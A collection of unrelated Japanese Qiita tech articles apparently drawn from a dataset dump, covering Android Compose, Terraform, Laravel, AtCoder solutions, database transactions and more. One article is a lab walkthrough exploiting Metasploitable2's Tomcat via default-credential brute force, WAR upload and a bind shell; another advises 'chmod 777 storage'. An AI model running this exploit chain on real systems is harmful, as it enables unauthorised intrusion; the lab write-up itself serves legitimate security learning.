OmniAICreator/Qiita-1.07M huggingface dataset:
Viewはメンテナンスモードだと考えられる理由

DroidKaigi2024の「Android ViewからJetpack Composeへ 〜Jetpack Compose移行のすゝめ〜」で発表されていたViewがメンテナンスモードである点についてまとめました！
# 概要
**タイトル**
Android ViewからJetpack Composeへ 〜Jetpack Compose移行のすゝめ〜

**発表者**
syarihu

**動画**
https://youtu.be/yVXp8GTP_gI

# 詳細
### Viewはメンテナンスモードかも。。。
Google Issue Trackerの記載、Jetpack Composeの生みの親のXの投稿からViewはメンテナンスモードの可能性が高いです。

### Gridlayoutはメンテナンスモード
Google issue trackerに投稿されている「Bug: GridLayout doesn't let TextView change its font-size as a cell, and can sometimes cause only 1 row to be shown」のコメントに以下のように記載があります。
>GridLayout is in maintenance-only mode, given ConstraintLayout and upcoming Compose UI toolkit. This is not a critical issue and thus won't be fixed.
(GridlayoutはConstraintLayoutと来たるCompose UI ツールキットを考慮してメンテナンスのみになっています。この問題(URLで指摘されている問題)はクリティカルではないため修正はされません。)

URL: https://issuetracker.google.com/issues/139991767#comment13

### Data bindingもメンテナンスモード
Google issue trackerに投稿されている「Support KSP」のコメントに以下のように記載があります。
>Databinding is in maintenance mode as well.
>We don't plan to support KSP nor recommend data binding usage at this stage since compose is our recommended UI solution.
>(上記(URL内で記述のあるkaptがメンテナンスモードであること)と同様にデータバインディングもメンテナンスモードです。
Jetpack ComposeでのUI作成を推奨しているため、KSPのサポートやデータバインディングの使用推奨は考えていません)

URL: https://issuetracker.google.com/issues/173030256#comment10

### Androidビューもメンテナンスモード
Jetpack Composeの開発に初期から携わっているJim Sprochさんの投稿にも下記のように記載があります。
>Androidビューはメンテナンスモードです。 相互運用性レイヤーとして引き続きサポートしますが、すべての新しい開発とバグ修正はJetpackComposeに組み込まれます。 Composeは、Androidの未来の最新UIツールキットです。

URL: https://twitter.com/JimSproch/status/1394978976700018690

### UI構築はJetpack Compose前提
Jetpack Compose公式サイトには
>Jetpack Compose is Android’s recommended modern toolkit for building native UI.
(Jetpack ComposeはAndroid推奨のモダンなUI作成キットです。)

と記載があり、Viewを使う想定ではなさそうです。
URL: https://developer.android.com/compose

# まとめ
Viewはメンテナンスモードであると考えても問題ないと思われるため、できるだけ早くJetpack Comopseに移行した方がよさそうです。
[Task Management] タスクのスケジューリング方式

# 一覧
|ノンプリエンプティング（中断しない）||
|:--|:--|
|到着順方式|実行可能状態になった順に実行する<br>実行が終了するまでプリエンプション(中断=実行可能状態に戻す)は発生しない|

|プリエンプティング（中断する）||
|:--|:--|
|優先順位方式|タスクの優先度順に実行する|
|ラウンドロビン方式||
|処理時間順方式||

# Image
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2955010/a5eadd20-2191-89ee-85c3-fb852be09a9c.png)


# 参考リンク
- [平成23特19_スケジューリング方式](https://www.ap-siken.com/kakomon/23_toku/q19.html)
- [令和3春16_プリエンプション](https://www.ap-siken.com/kakomon/29_aki/q16.html)
- [令和6春16](https://www.ap-siken.com/kakomon/06_haru/q16.html)
- [令和4秋18_割込み](https://www.ap-siken.com/kakomon/04_aki/q18.html)
コンピューターはどうやって動いているの？？

## はじめに
プログラマーの皆さんは自分が書いたコードがどのようにして動いているのか疑問に思ったことがございませんか？
今回は **「コンピュータはなぜ動くのか」** という本を読んで知ったことを書きたいと思います。

まだ本の前半部分しか読めていないのですが、とても面白かったです！
多分本の後半を読む頃には前半部分を少し忘れてしまっているかもしれないので、忘れないように新しい知見や感じたことなどを簡単にまとめたいと思います！

## コンピューターは何でできている？？
コンピュータには回路図というものが必ず存在します
回路図には以下の4つが含まれています

* CPU
    *  処理を行う
* クロック・ジェネレーター
    * CPUが動作するためのリズム（クロック）を生成し、タイミングを調整する
* メモリー
    * CPUが高速にデータを扱うための場所。データの読み書きは速いけど、電源が切れるとデータが消える
* I/O
    * 入出力を担当し、ハードウェア（キーボードやディスプレイなど）とコンピュータのやりとりを行う

（回路図には含まれていませんが…）
* ハードディスク
    * データを長期間保存するための場所。データの読み書き速度はメモリより遅いが、電源が切れてもデータは保持される


## 回路図はどのように動くか
今回はパソコンで起動するところからGoogleにログインする時の順番を追っていきましょう！！

 **1.起動ボタンを押す** 
ユーザーがPCの起動ボタンを押すと、I/O装置が動作を開始します。

 **2.BIOS/UEFIが起動**
起動ボタンを押すと、まずBIOSまたはUEFI（基本的な入出力システム）が動作し、ハードディスクやメモリなどのハードウェアが正常に動いているかチェックします。

 **3.OSがメモリにロードされる**
ハードディスクからOSがメモリに読み込まれ、CPUによって処理が行われ、PCのホーム画面が表示されます。

 **4.Googleを起動**
ホーム画面が表示されたら、ユーザーがブラウザを開き、Googleにアクセスします。このとき再びI/Oが動作し、ブラウザが起動します。

 **5.Googleのページが表示される**
Googleのソースコードがインターネット経由でサーバーから取得され、CPUがそれを処理して画面に表示します。

 **6.ログイン情報の入力**
ユーザーがGoogleのログイン画面でメールアドレスやパスワードを入力し、ログインボタンを押します（このときもI/Oが動作しています）。

 **7.サーバーにアクセス**
入力された情報がインターネット経由でGoogleのサーバーに送信され、サーバー側でユーザーの情報が確認されます。

 **8.トークンの発行**
ユーザー情報が正しければ、サーバー側でセッションが作成され、トークンが発行されてPCのメモリにキャッシュされます。

 **9.ログイン成功**
トークンを基にユーザーは認証され、Googleにログインできます。

## さいごに
今回、PCの起動からGoogleにログインするまでの流れを見てきました。コンピュータは多くの複雑な処理を背景に動作しており、ハードウェアとソフトウェアが密接に連携しています。CPU、メモリ、I/Oなどがそれぞれの役割を果たし、私たちが普段使っているPCが正常に動いていることを理解することができました。

コンピュータが動く仕組みを知ることは、プログラムを書く際にも役立ちます。

「コンピュータはなぜ動くのか」を読み終えたらまた、気づいたことなどまとめた記事を書きたいと思います！！
MapLibre GL JSのGlobe Projectionを試す

# 概要

ウェブ地図描画ライブラリのMapLibre GL JSでは、v5のPreバージョンでGlobe（ウェブ地図を地球儀の形で投影する手法）が実装されました。
この記事執筆時点ではこのプレ版での試行結果と実用例を示します。なお今後、正式バージョンのリリースにて仕様が変更される可能性はありますのでご留意ください。

# 作成例
地球儀のようにマップを投影して自由に動かせます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122865/b9e7c07f-08d1-64cb-bc04-b345e26e6436.png)

使用例として、自分の渡航履歴を写真と一緒に巡るストーリーマップを作りました。
ポップアップをクリックまたはタップすることで、地球儀をグルグル巡ります。
平面の地図で表現するよりも動きがよりダイナミックになります。

下記アプリケーションへの外部リンク（[リンク](https://kashiwa.co-place.com/cmap/mygj/)）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122865/cf35be33-800d-7a7b-f84a-e91f9d23b5ab.png)

# 作成工程

作成工程は、MapLibre GL JSの基本的な使い方がわかっていれば比較的容易です。

## 準備
まず、MapLibre GL JSのversion5以降をインストールします。
この記事執筆時点では正式版はv4までなので、npmでインストールする際はバージョン指定したほうが良いかもしれません。（バージョン指定不要であればアットマーク以降は不要）
```
npm i maplibre-gl@5.0.0-pre.1
```

## コード
MapLibreの利用経験が既にある方向けに、コアな部分のみ簡易に載せます。その他は適宜補完してください。

```JS:index.js
import * as maplibregl from "maplibre-gl";
import 'maplibre-gl/dist/maplibre-gl.css';
import './style.css';

//マップの基本設定例
const map = new maplibregl.Map({
    container: 'map',
    style: 'https://demotiles.maplibre.org/style.json',//デモ用なので適宜差し替え
    center: [139.93003, 35.72164],//初期表示位置
    zoom: 3,//初期ズームレベル
});

//マップ描画時の設定部分
map.on('load', () => {
    map.setProjection({"type": "globe"}); //ここで投影法=Globeを指定
});
```

## 留意点とTips

### 必須設定
重要なのは「map.setProjection({"type": "globe"});」の部分だけです。その他は通常のMapLibre GL JSでの記述で基本的にOKです。

### 他機能との競合
注意点としては、GlobeViewと親和性のない機能を加えると正常な挙動とならない場合があります。
例えば、version4以降で実装されたSky（空の色を描画する機能）を設定すると、地球儀が全体的に暗い透明色で覆われてしまいます。
それ以外にも、Mapの基本設定によってはGlobeViewがうまく機能しないケースもあるかもしれません。

一例として、下図はSky機能と併用した際の描画です。地球全体が月食（？）のような色味になってしまいます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122865/1656e97f-f443-3a08-538b-bc69ddd68f36.png)


### 背景色について
背景色を特に意識せずデフォルト（白）のままだと下図のようになりますが、いまいち雰囲気が出ない印象です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122865/d95237b7-881f-8fac-a092-1a8cdefef477.png)

そこで、もっと「宇宙っぽく」表現するためにスタイルシートで暗めのグラデーション背景色を設定してみました。

```css:style.css
#map {
    position: absolute;
    width: 100%;
    height: 100%;
    background: linear-gradient(to right, #4286f4, #373B44); /*宇宙をイメージした暗めのグラデーション背景色*/
}
```
もちろん、コンテンツの内容や好みによりますが、見比べてみると印象がかなり違うのでおすすめします。この辺りのデフォルト設定は今後のリリースで改良があるかもしれませんが、参考になれば幸いです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/122865/91acde53-dd0a-97eb-3015-da6bea85ddac.png)

## 使いどころ

平面の地図ではなく地球儀として描画するメリットは、グローバルレベルの情報の可視化にあると思います。
例えば世界各国の国別統計情報を色分けして示すようなコロプレス図は、平面だと緯度によって大きく歪んでしまう地域があるためミスリードとなりやすいですが、地球儀で示すことでそれが解消されます。
また、最初の作成例で出したようにグローバルなストーリーマップにも有用だと思います。場面に応じて地球儀がグルグル回転するので、視覚的に楽しくインパクトがあるコンテンツを作れそうです。

# おわりに
以上、MapLibre GL JSのGlobeViewに関する記事でした。
執筆時点ではプレリリースの段階なので、今後も修正と改良が重ねられると思いますが、この時点での概要とTipsとして参考になれば幸いです。
MapLibre GL JSの公式NewsやGitHubリポジトリでの流れは自分でも追っていきますが、把握しきれていない部分も多々ありますので、もし齟齬があればご指摘ください。
javascriptを使ったjson学習

<h1>javascriptを使ったJSON学習</h1>
<br>

<h2>以下のサイトのデータを取得してみよう！！</h2>

https://geoapi.heartrails.com/api.html

<h3>※自動でhtmlに表示する部分はまだ作成中！！</h3>

```html
<DOCTYPE html>
<head>
<title>都道府県の市町村取得 API</title> 
<style>
h1 { color: #f37053; }
#wea1 { color: #f37053; }
</style>
</head>
<body>

<h1>市町村情報取得を取得できます</h1>

<select name="region" id="selectregion1">
<option value="東京都">東京都</option>
<option value="神奈川県">神奈川県</option>
<option value="千葉県">千葉県</option>
<option value="埼玉県">埼玉県</option>

</select>
<input type="button" value="市町村情報取得" onclick="forcast()">


<p id="wea1" ></p>
<p id="wea2" ></p>




<script> 

function forcast(){

const str = document.getElementById("selectregion1").value;

let url = "https://geoapi.heartrails.com/api/json?method=getCities&prefecture=";

url2 = url + str

fetch(url2)
   .then(function(response) {
       return response.json();
   })
   .then(function(region) {
       //console.log(region);
       
       
       var count = Object.keys(region.response['location']).length;
       
       
       
       console.log(count);
       
       for ( i=0; i < count; i++) {
       
       document.getElementById("wea1").innerHTML = region.response.location[i].city;
       document.getElementById("wea2").innerHTML = region.response.location[i].city_kana;
           
      }
       
       
       
});


}


</script>

</body>
</html>
```
Metasploitable2 exploit Tomcat(bind shell)

Metasploitable2のTomcatをエクスプロイトする備忘録です。
Tomcatのデフォルトアカウントが有効になっている脆弱性を利用して、バインドシェルでエクスプロイトします。
# Metasploitでエクスプロイトする
Kali LinuxのIPアドレス：192.168.56.10
Metasploitable2のサーバーのIPアドレス：192.168.56.20
Metasploitの起動前にファイルを作成します。
空でもいいようですが、無いとエラーになるため。
```
touch tomcat_creds
```
Tomcatの管理者ログインをデフォルトアカウントで、ブルートフォース攻撃します。
ユーザーパスファイルとして、さっき作成したファイルをセットします。
```
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /root/tomcat_creds
USERPASS_FILE => /root/tomcat_creds
```
攻撃ポートとして、8180番ポート。
攻撃IPアドレスとして、192.168.56.20をセットします。
```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
```
exploitします。
Metasploitable2の場合、ユーザー名：tomcat、パスワード：tomcatでログインできます。
```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit

[!] No active DB -- Credential data will not be saved!
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:manager (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.56.20:8180 - Login Successful: tomcat:tomcat
[-] 192.168.56.20:8180 - LOGIN FAILED: both:admin (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:ADMIN (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
# バインドシェルで接続する
exploitを選択します。
```
msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```
ターゲットを確認して、Linuxに設定します。
```
msf6 exploit(multi/http/tomcat_mgr_upload) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Java Universal
    1   Windows Universal
    2   Linux x86
msf6 exploit(multi/http/tomcat_mgr_upload) > set target 2
target => 2
```
バインドシェルのpayloadを選択します。
```
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
```
管理者アカウントと攻撃用のIPアドレスとポートをセットします。
```
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
```
exploitします。
```
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying XDceiP0geAte7bNA...
[*] Executing XDceiP0geAte7bNA...
[*] Undeploying XDceiP0geAte7bNA ...
[*] Undeployed at /manager/html/undeploy
[*] Started bind TCP handler against 192.168.56.20:4444
[*] Command shell session 1 opened (192.168.56.10:40615 -> 192.168.56.20:4444) at 2024-10-05 23:01:04 +0900

whoami
tomcat55
hostname
metasploitable
```
シェルが無いので、対話的シェルの出し方。
```
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$
```
プロンプトが表示されます。
terraformで”Unsupported Terraform Core version”が起こった時の対処法

## 何が起こったか
ある日、githubからAWSをterraformで構築するリポジトリをcloneしたときのこと。
```
terraform init
```
を実行するとエラーが出ました。
```
│ Error: Unsupported Terraform Core version
│ 
│   on version.tf line 2, in terraform:
│    2:   required_version = "1.8.1"
│ 
│ This configuration does not support Terraform version 1.9.1. To proceed, either choose another supported Terraform version or update this
│ version constraint. Version constraints are normally set for good reason, so updating the constraint may lead to other errors or unexpected
│ behavior.
```
## 原因

cloneしたリポジトリ内のterraformのバージョンでは1.8.1を指定していたが、筆者の環境がterraformの1.9.1を指定していたのでエラーが出ていた。
## 解決策

1 terraformのバージョンを確認
```
terraform --version
```

2 tfenvでterraformのバージョンを切り替える
```
tfenv use 1.8.1
```

3 terraform initを再度実行

※そもそも、使用したいterraformのバージョンをinstallしていなかった場合は下記のコマンドでinstallします。
```
tfenv install 1.8.1
```

## 余談
terraformのバージョンをディレクトリ毎に管理する方法もあります。
terraformのバージョンを固定したいディレクトリに移動して以下コマンドを実行します。

```
 echo 1.8.1 > .terraform-version
```
.terraform-versionファイル内に使用したいterraformのバージョンを記載することで、そのディレクトリ内でのみバージョンを固定することができます。

例えば、基本的には1.9.1を使用したいが、チーム内では1.8.1を使用している場合などがあるかと思います。

terraformはバージョンによって挙動が変わる場合もあるので、チーム内でそれぞれが別のバージョンを使用すると予期せぬエラーが起きる場合もあるため、基本的にはバージョンを固定している印象があります。

また、~を使用して、このバージョン以降ならOKみたいなこともできます。

## 終わりに
避けては通れないバージョン管理の問題。
terraformは結構バージョン関連でエラー出やすいので参考になりますと幸いです。
laravelを新規立ち上げ時にエラー３つ　failed to open stream: Permission denied  SQL[42S02]:Base table or view not found:1146 Table 'laravel.sessions' doesn't exist

　
## はじめに
laravelを新規で立ちあげる時って必ず権限エラー発生しません？
久しぶりにやったら忘れてて少してこずったのでメモ書きしておきます。

初学者はハマるところなので参考にしていただけたらと思います。


## failed to open stream: Permission denied
![スクリーンショット 2024-10-05 223546.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3832683/36c053c3-14c7-8366-bdd3-ecfd266464d5.png)

必ずと言っていいほど新規立ち上げ時はこのエラーが出ます。
（この画面は初めて見ましたがエラーの内容は同じです。）
これは、「logの書き込み権限がない」というエラーです。

なのでlogの書き込み権限を付与しましょう！
プロジェクトの中までcdで移動してから以下のコマンド実行！
```diff_php
$ sudo chmod 777 storage
```

※sudoをつけないと権限の変更できないので注意。
※storage/log　だけ権限変更でも動くとは思いますが自分の行ったことを書いております。


## 2.sessinテーブルがない！？

![スクリーンショット 2024-10-05 224041.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3832683/4786d417-a2b5-984a-e7e1-a1bcff62eefa.png)

権限の変更ができ、logのPermissionエラーがなくなると
またエラーが出る場合があります。
```
SQL[42S02]:Base table or view not found:1146 Table 'laravel.sessions' doesn't exist
```
次は「sessionテーブルがない」というエラー。

　
気が早いよ、、、って感じのエラーですがsessionのmigrateファイルはできているので
migrateを実行すればテーブルができてエラーが消えるはずです。
　

エラーは出るのは無視してサーバーを立ちあげます。
（xampでもdockerでもsailでもプロジェクトを作った環境のサーバーを立ちあげる。）

　
自分の場合はsailで動かしているのでプロジェクトの中で
```
./vendor/bin/sail up
```
でサーバーを立ちあげ
```
./vendor/bin/sail artisan migrate
```
でmigrateを実行し、テーブルを作成する。

###
### 
エラーが無事なくなってlaravelの初期画面が!


![スクリーンショット 2024-10-05 224506.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3832683/3bbf8529-69f2-c9a8-a067-5bc8de44c232.png)
###  　
## 3.autoloaderが読み込めない？composerがない！？
```
:/mnt/c/myProject/プロジェクト名$ php artisan breeze:install
PHP Warning:  require((unreachable)/myProject/プロジェクト名/vendor/autoload.php): Failed to open stream: No such file or directory in artisan on line 9
PHP Fatal error:  Uncaught Error: Failed opening required '(unreachable)/myProject/プロジェクト名/vendor/autoload.php' (include_path='.:/usr/share/php') in artisan:9
Stack trace:
#0 {main}
  thrown in artisan on line 9
  ```

  んじゃまぁcomposer installするか。
  ```
  composer install
  ```

実行
```
In Process.php line 350:

  The provided cwd "" does not exist.


install [--prefer-source] [--prefer-dist] [--prefer-install PREFER-INSTALL] [--dry-run] [--download-only] [--dev] [--no-suggest] [--no-dev] [--no-autoloader] [--no-progress] [--no-install] [--audit] [--audit-format AUDIT-FORMAT] [-v|vv|vvv|--verbose] [-o|--optimize-autoloader] [-a|--classmap-authoritative] [--apcu-autoloader] [--apcu-autoloader-prefix APCU-AUTOLOADER-PREFIX] [--ignore-platform-req IGNORE-PLATFORM-REQ] [--ignore-platform-reqs] [--] [<packages>...]
```

なんやねん。。。
```
composer --version
```
```
Composer version 2.7.8 2024-08-22 15:28:36
PHP version 8.2.24 (/usr/bin/php8.2)
Run the "diagnose" command to get more detailed diagnostics output.
```
はいってるやんけ。。。

### 解決の際にやったこと
cd　コマンドで一度上の階層に移動してプロジェクトにまた移動してから
同じコマンド実行したら無事処理が、、、、
```
cd ..
cd プロジェクト名
```
```
php artisan breeze:install
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3832683/017ce957-84e2-ffab-29f0-0d83df6700af.png)

あれ、動いた。。。
なんやねん。。ほんま。。。
灰色コーダーによるABC374振り返り

# A

https://atcoder.jp/contests/abc374/tasks/abc374_a

余裕書いたときには覚えてなくて見返した
pythonはスライス使ってできた
```python
S = input()

if S[-3:] == "san":
    print("Yes")
else:
    print("No")
```

# B

https://atcoder.jp/contests/abc374/tasks/abc374_b

問題分の習慣を僕がやるんだったら怖くて言えない(実際)
for文回して違うところを検出して出力する
完全一致パターンが面倒くさいので最初に弾く
```python
S = input()
T = input()

if S == T:
    print(0)
    exit()
for i in range(min(len(S), len(T))):
    if S[i] != T[i]:
        print(i + 1)
        exit()
print(min(len(S), len(T)) + 1)
```

# C

https://atcoder.jp/contests/abc374/tasks/abc374_c

bit全探索で解ける
具体的には
AとBをBIT全探索で振り分ける
cythonがbit全探索でTLEでペナ食らって結局なれてないRustで書き直しました

:::note warn
(追記)
pypyで提出すればACするようです
おそらくcpythonでもTLEすると思います<<自分でやれ
申し訳ございません
:::

最大ケースでeasytestがcythonで2800msぐらいだったのがRustは68msでした
バケモンみたいな速度ですねおよそ41倍
pythonは見た感じbit全探索じゃない解法があるっぽいです

```rust
//ライブラリ
use std::{collections::HashSet, i32, usize, vec};
use proconio::input;

fn main() {
    input! {
        n:u32,
        k:[i64;n]
    }
    let mut r = 0_i64;
    for i in 0..(2_i32.pow(n)) {
        let mut a = 0;
        let mut b = 0;

        for t in 0..n {
            let tmp = t as i32;

            if (i >> t) & 1 == 1 {
                a += k[t as usize]
            } else {
                b += k[t as usize]
            }
        }

        if i == 0 {
            r = a.max(b)
        } else {
            r = r.min(a.max(b))
        }
    }

    print!("{}", r)
}



```

# D
https://atcoder.jp/contests/abc374/tasks/abc374_d

最初貪欲法を思いつき50分ぐらいかけたがWAのこり5分で 線分の部分の総和もとめてそれ+順列全探索して最小値を求めるて始点と終点をどっちから初めていい問題はbit全探索で解く解法を思いついたが時間切れでACできませんでした
WAのコード(貪欲)はゴミコードなのでお見せできないです
同じような処理二回書いてましたw

### 具体的に pythonで
:::note warn
あとまだ解説ACしてないやつが思いついた解法なので温かい目でご覧ください
それも解説丸パクリ一応自分で要約してます
:::

まずは線分のユークリッド距離/レーザー照射速度の総和を取る
そして現在位置の変数を用意して(x,y)などitertools.permutationsで順列全探索を始める
そこにbit全探索を追加してTrueなら始点からFalseなら終点からというように実装して最後に最小値を出力する

### 解説URL

https://atcoder.jp/contests/abc374/editorial/11090

# 最後に
600ぐらいのパフォ出せれば入茶だったのに泣
更新後のレートは357→373でした
[ID](https://atcoder.jp/users/hidehico)
Xの年齢制限でXの感想戦に出られないのでこの形ですw
データのトランザクションとは？

今回はデータのデータのトランザクションについて記事にしたいと思います。

# 1. トランザクションって何？
トランザクションとは、データベース（例えばお店の注文や銀行のデータを管理するシステムなど）で、いくつかの処理をまとめて行うことです。トランザクションが正しく使われると、すべての処理が成功するか、もし一部が失敗したら全部キャンセルされます。こうすることで、データの間違いを防ぐことができます。

# 2. トランザクションの例
たとえば、次のような状況を考えてみてください。

例：ゲームのポイント購入
あなたがオンラインゲームをプレイしていて、ゲーム内アイテムを購入するためにポイントを使う場面を想像してください。

ステップ1: ポイントを購入する。
ステップ2: 購入したポイントをあなたのアカウントに加える。
ステップ3: ゲーム内アイテムを購入して、ポイントを使う。
このとき、もし途中でインターネット接続が切れたり、エラーが発生した場合、トランザクションが無いと次のような問題が起こるかもしれません。

問題：
ポイントは購入できたけど、アイテムはもらえなかった。
逆に、アイテムは手に入ったけど、ポイントが減らされていない。
どちらもゲームのバランスが崩れたり、損をする問題ですよね。

トランザクションがあれば：
すべてのステップが成功したら、その結果が保存されます（ポイントも減り、アイテムも手に入る）。
途中でエラーが起きたら、最初の状態に戻る（ポイントも減らず、アイテムも購入されない）ので、問題が起こりません。
# 3. トランザクションの4つの重要なルール
トランザクションには、「データを安全に扱うための4つの大事なルール」があります。これをACID特性と言います。

1. Atomicity（アトミック性）：
すべての処理が一つのまとまりとして扱われ、成功すればすべて実行され、失敗したら何も実行されないこと。

例：ポイントを購入して、アイテムを受け取る全ての処理が一緒に実行されます。一部だけが成功することはありません。
2. Consistency（一貫性）：
トランザクションが終わった後でも、データベースのルールに従ってデータが正しい状態に保たれること。

例：アイテムを買ったあと、ポイントが正しく減っていることが確認されます。
3. Isolation（独立性）：
他の人が同時にデータを変更しても、お互いのデータが混ざらないように処理されること。

例：他のプレイヤーが同時にアイテムを買っていても、自分のポイントやアイテムが混ざらず、正しく処理されます。

# 4. Durability（永続性）：
トランザクションが完了したら、その結果が消えずにずっと保存されること。

例：ゲームのデータは正しく保存され、アイテムやポイントはそのままです。
・ トランザクションの使い方を身近な例で説明
例：銀行でのお金の振り込み
あなたがお小遣いを銀行の口座に振り込んでもらう場面を想像してみましょう。

あなたのお父さんがあなたの口座に1000円を振り込むことにします。
銀行がその1000円をお父さんの口座から引き出します。
次に、その1000円をあなたの口座に振り込みます。
もし途中で銀行のシステムが故障したら、こういうことが起こるかもしれません：

お父さんの口座からは1000円が引かれたのに、あなたの口座には振り込まれていない。
これは困りますよね！トランザクションがなければ、お金がどこかで消えてしまうことになります。

でも、トランザクションが使われていると：

お父さんの口座から1000円が引き出された後、もし何か問題が起こっても、最初の状態（お父さんの口座から1000円が引かれていない状態）に戻ります。
すべてが成功したときだけ、1000円が引かれ、あなたの口座に入金されます。

# 5. トランザクションを使うとどうなるの？
トランザクションがあると、次のようなメリットがあります：

ミスやエラーが起きても安心： トランザクションを使うと、途中で失敗してもデータが混乱することはありません。失敗したら、すべてが最初の状態に戻ります。

データが壊れない： 大事なデータが間違って消えたり、変なデータが入ったりすることがなくなります。ゲームや銀行システムでは、特にこのような安心感が大事です。

複数の作業をまとめて処理： 一つのトランザクションで、いくつかの作業（ポイントの購入やアイテムの取得など）をまとめて行えるので、データの整合性が保たれます。

まとめ
トランザクションは、データを安全に管理するために使われる大事な仕組みです。途中でエラーが起きた場合に、すべての処理を元に戻すことで、データが壊れたり間違った状態にならないようにします。銀行やオンラインゲームなど、重要なデータを扱うシステムでは、トランザクションが欠かせません。

トランザクションがあると、すべての処理がうまくいったときだけ結果が保存され、途中で失敗した場合はすべて元に戻されます。
重要なデータのやり取りをするシステムでは、トランザクションを使うことでデータが正しく、壊れないように守られています。

今回はデータのトランザクションについて記事にしてみました。
ABC374をPythonで（A～E）

キーエンスプログラミングコンテスト2024（AtCoder Beginner Contest 374）の解答等の速報的まとめ

https://atcoder.jp/contests/abc374



# A問題
https://atcoder.jp/contests/abc374/tasks/abc374_a

後ろ3文字がsanか確認する
```python:A
print("YNeos"[input()[-3:]!="san"::2])
```
# B問題
https://atcoder.jp/contests/abc374/tasks/abc374_b

一致したら0を、そうでなかったら最初に違うところを出力する
```python:B
s = input()
t = input()

if s == t:
    print(0)
else:
    ans = min(len(s), len(t)) + 1
    for i, (s_i, t_i) in enumerate(zip(s, t)):
        if s_i != t_i:
            ans = i + 1
            break
    print(ans)
```
# C問題
https://atcoder.jp/contests/abc374/tasks/abc374_c

ビットを利用して全探索する
```python:C
n = int(input())
k = list(map(int, input().split()))

ans = sum(k)
for bit in range(1 << n):
    a, b = 0, 0
    for i in range(n):
        if bit >> i & 1:
            a += k[i]
        else:
            b += k[i]
    ans = min(ans, max(a, b))

print(ans)
```
# D問題
https://atcoder.jp/contests/abc374/tasks/abc374_D

線を引く順番とどちら側から引くかを全探索する
```python:D
from itertools import permutations
from math import sqrt


def dist(sx, sy, gx, gy):
    return sqrt((sx - gx) ** 2 + (sy - gy) ** 2)


n, s, t = map(int, input().split())
data = [list(map(int, input().split())) for _ in range(n)]

ans = float("inf")
for p in permutations(range(n)):
    for bit in range(1 << n):
        x, y = 0, 0
        ans_i = 0
        for i in range(n):
            pa, pb, pc, pd = data[p[i]]
            if bit >> i & 1:
                ans_i += dist(x, y, pa, pb) / s + dist(pa, pb, pc, pd) / t
                x, y = pc, pd
            else:
                ans_i += dist(x, y, pc, pd) / s + dist(pc, pd, pa, pb) / t
                x, y = pa, pb
        ans = min(ans, ans_i)

print(ans)
```
# E問題
https://atcoder.jp/contests/abc374/tasks/abc374_e

2分探索で製造能力に対して必要なコストの最小値が$x$以下になっているかを調べる
下のコードのcalc内のfor i ～はよくわからないが追加したらうまくいった
（$i=1$のケースを入れたときにwaが減ったから、間に合いそうな幅で追加した）
```python:E
def ceil(a, b):
    return -(-a // b)

def calc(w):
    res = 0
    for a, ax, b, bx in data:
        res_i = min(ceil(w, a) * ax,
                   ceil(w, b) * bx,
                   w // a * ax + ceil(w - w // a * a, b) * bx,
                   w // b * bx + ceil(w - w // b * b, a) * ax)
        for i in range(max(a, b)):
            res_i = min(res_i,
                        max(w // a - i, 0) * ax + ceil(w - max(w // a - i, 0) * a, b) * bx,
                        max(w // b - i, 0) * bx + ceil(w - max(w // b - i, 0) * b, a) * ax)
        res += res_i
    return res

n, x = map(int, input().split())
data = [list(map(int, input().split())) for _ in range(n)]

ok, ng = 0, 10 ** 18
while abs(ok - ng) > 1:
    mid = (ok + ng) // 2
    if calc(mid) <= x:
        ok = mid
    else:
        ng = mid

print(ok)
```
Flare-VMの環境構築

# 必要なもの
仮想環境で構築済みのWindows 10 Pro(ライセンス認証は不要です)

# 事前準備
- Windows Defenderの無効化
- Windows Updateの無効化

Flare-VMをインストールする際グループポリシーでWindows Defenderを無効化しろと指示されます。
最近のWindowsはリアルタイム保護を無効化しても再起動すると有効になってしまいます。グループポリシーから無効化すると再起動しても無効のままになります。
なのでローカルグループポリシーエディタから無効化します。
win+rを押しgpedit.mscと入力しenter。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3807852/456e2fe7-803c-eb6a-830c-3b8e084a5fed.png)
